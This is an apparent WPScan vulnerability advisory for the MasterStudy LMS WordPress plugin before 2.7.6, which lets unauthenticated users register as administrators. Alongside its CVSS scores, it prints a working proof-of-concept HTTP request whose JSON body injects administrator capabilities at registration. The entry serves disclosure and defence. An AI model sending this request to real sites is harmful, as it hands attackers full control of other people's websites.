Lucene search

K
wpvulndbNuman TΓΌrleWPVDB-ID:173C2EFE-EE9C-4539-852F-C242B4F728ED
HistoryFeb 01, 2022 - 12:00 a.m.

MasterStudy LMS < 2.7.6 - Unauthenticated Admin Account Creation

2022-02-0100:00:00
Numan TΓΌrle
wpscan.com
16

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

The plugin does to validate some parameters given when registering a new account, allowing unauthenticated users to register as an admin

PoC

The nonce value of the stm_lms_register request must be retrieved from the ajax page. for this you should check the home page POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce;=[NONCE] HTTP/1.1 Connection: close Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip, deflate Accept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4 Content-Type: application/json Content-Length: 339 {β€œuser_login”:β€œUSERNAME”,β€œuser_email”:β€œEMAIL@TLD”,β€œuser_password”:β€œPASSWORD”,β€œuser_password_re”:β€œPASSWORD”,β€œbecome_instructor”:β€œβ€,β€œprivacy_policy”:true,β€œdegree”:β€œβ€,β€œexpertize”:β€œβ€,β€œauditory”:β€œβ€,β€œadditional”:[],β€œadditional_instructors”:[],β€œprofile_default_fields_for_register”:{β€œwp_capabilities”:{β€œvalue”:{β€œadministrator”:1}}}} https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6 https://www.youtube.com/watch?v=SI_O6CHXMZk

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P